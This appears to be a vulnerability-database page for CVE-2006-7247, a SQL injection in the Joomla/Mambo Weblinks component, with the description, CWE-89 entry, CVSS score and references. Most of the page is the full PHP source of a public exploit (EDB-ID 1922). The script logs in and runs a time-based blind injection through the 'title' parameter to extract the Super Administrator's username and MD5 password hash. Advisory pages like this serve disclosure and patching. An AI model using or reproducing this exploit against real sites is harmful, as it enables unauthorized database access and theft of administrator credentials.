CVE-2006-7247 : Detail

CVE-2006-7247

SQL Injection
A03-Injection
0.14%V3
Network
2012-09-06
19h00 +00:00
2024-09-16
19h31 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in the Weblinks (com_weblinks) component for Joomla! and Mambo 1.0.9 and earlier allows remote attackers to execute arbitrary SQL commands via the title parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 1922

Publication date : 2006-06-16 22h00 +00:00
Author : rgod
EDB Verified : Yes

#!/usr/bin/php -q -d short_open_tag=on <? echo "Joomla <= 1.0.9 'Weblinks' blind SQL injection / admin credentials\r\n"; echo "disclosure exploit (benchmark() vesion)\r\n"; echo "by rgod rgod@autistici.org\r\n"; echo "site: http://retrogod.altervista.org\r\n"; if ($argc<5) { echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to Joomla\r\n"; echo "user/pass: you need an account\r\n"; echo "Options:\r\n"; echo " -T[prefix] specify a table prefix different from 'jos_'\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Example:\r\n"; echo "php ".$argv[0]." localhost /joomla/ username password\r\n"; die; } /* explaination: same of http://retrogod.altervista.org/mambo_46rc1_sql.html with some modifications to work against Joomla and with an always true statement, to avoid to flood admin of e-mail notifications about submissions (they simply do not succeed but injection works aswell) */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } $host=$argv[1]; $path=$argv[2]; $user=$argv[3]; $pass=$argv[4]; $port=80; $prefix="jos_"; $proxy=""; for ($i=5; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data ="username=".$user; $data.="&passwd=".$pass; $data.="&remember=yes"; $data.="&option=login"; $data.="&Submit=Login"; $data.="&op2=login"; $data.="&lang=english"; $data.="&return=".urlencode("http://".$host.$path); $data.="&message=0"; $packet ="POST ".$p." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; sendpacketii($packet); ECHO $html; $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=2; $i<=count($temp)-1; $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } if ((strstr($cookie,"=+;")) | $cookie=="") {die("Unable to login...");} else { echo "Done...\r\ncookie -> ".$cookie."\r\n"; } $j=1;$admin=""; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $starttime=time(); $sql="' or 'suntzu'='suntzu' UNION SELECT IF ((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(300000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*"; echo "\r\n".$sql."\r\n"; $sql=urlencode($sql); $data ="title=".$sql; $data.="&catid=2"; $data.="&url=".urlencode("http://www.google.com"); $data.="&description=suntzuuuuuuu"; $data.="&id="; $data.="&option=com_weblinks"; $data.="&task=save"; $data.="&ordering=0"; $data.="&approved=1"; $data.="&Returnid=0"; $data.="&referer=".urlencode("http://".$host.$path."index.php?option=com_frontpage&Itemid=1"); $packet ="POST ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; //debug //echo quick_dump($packet)."\r\n"; sendpacketii($packet); $endtime=time(); echo "endtime -> ".$endtime."\r\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\r\n"; if ($difftime > 10) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;} //more than ten seconds? we succeed... if ($i==255) {die("Exploit failed...");} } $j++; } $md5s[0]=0;//null $md5s=array_merge($md5s,range(48,57)); //numbers $md5s=array_merge($md5s,range(97,102));//a-f letters //print_r(array_values($md5s)); $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$md5s)) { $starttime=time(); $sql="' or 'suntzu'='suntzu' UNION SELECT IF ((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(300000000,CHAR(0)),0) FROM ".$prefix."users WHERE usertype='Super Administrator'/*"; echo "\r\n".$sql."\r\n"; $sql=urlencode($sql); $data ="title=".$sql; $data.="&catid=2"; $data.="&url=".urlencode("http://www.google.com"); $data.="&description=suntzuuuuuuu"; $data.="&id="; $data.="&option=com_weblinks"; $data.="&task=save"; $data.="&ordering=0"; $data.="&approved=1"; $data.="&Returnid=0"; $data.="&referer=".urlencode("http://".$host.$path."index.php"); $packet ="POST ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; //debug //echo quick_dump($packet)."\r\n"; sendpacketii($packet); $endtime=time(); echo "endtime -> ".$endtime."\r\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\r\n"; if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } //if you are here... echo "Exploit succeeded...\r\n"; echo "--------------------------------------------------------------------\r\n"; echo "admin -> ".$admin."\r\n"; echo "password (md5) -> ".$password."\r\n"; echo "--------------------------------------------------------------------\r\n"; ?> # milw0rm.com [2006-06-17]

Products Mentioned

Configuraton 0

Joomla>>Com_weblinks >> Version To (including) 1.0.9

    Joomla>>Joomla\! >> Version *

    Mambo-foundation>>Mambo >> Version -

      References

      http://www.openwall.com/lists/oss-security/2011/12/24/2
      Tags : mailing-list, x_refsource_MLIST
      http://www.exploit-db.com/exploits/1922
      Tags : exploit, x_refsource_EXPLOIT-DB
      http://secunia.com/advisories/20746
      Tags : third-party-advisory, x_refsource_SECUNIA
      http://www.openwall.com/lists/oss-security/2011/12/24/3
      Tags : mailing-list, x_refsource_MLIST
      http://www.osvdb.org/26626
      Tags : vdb-entry, x_refsource_OSVDB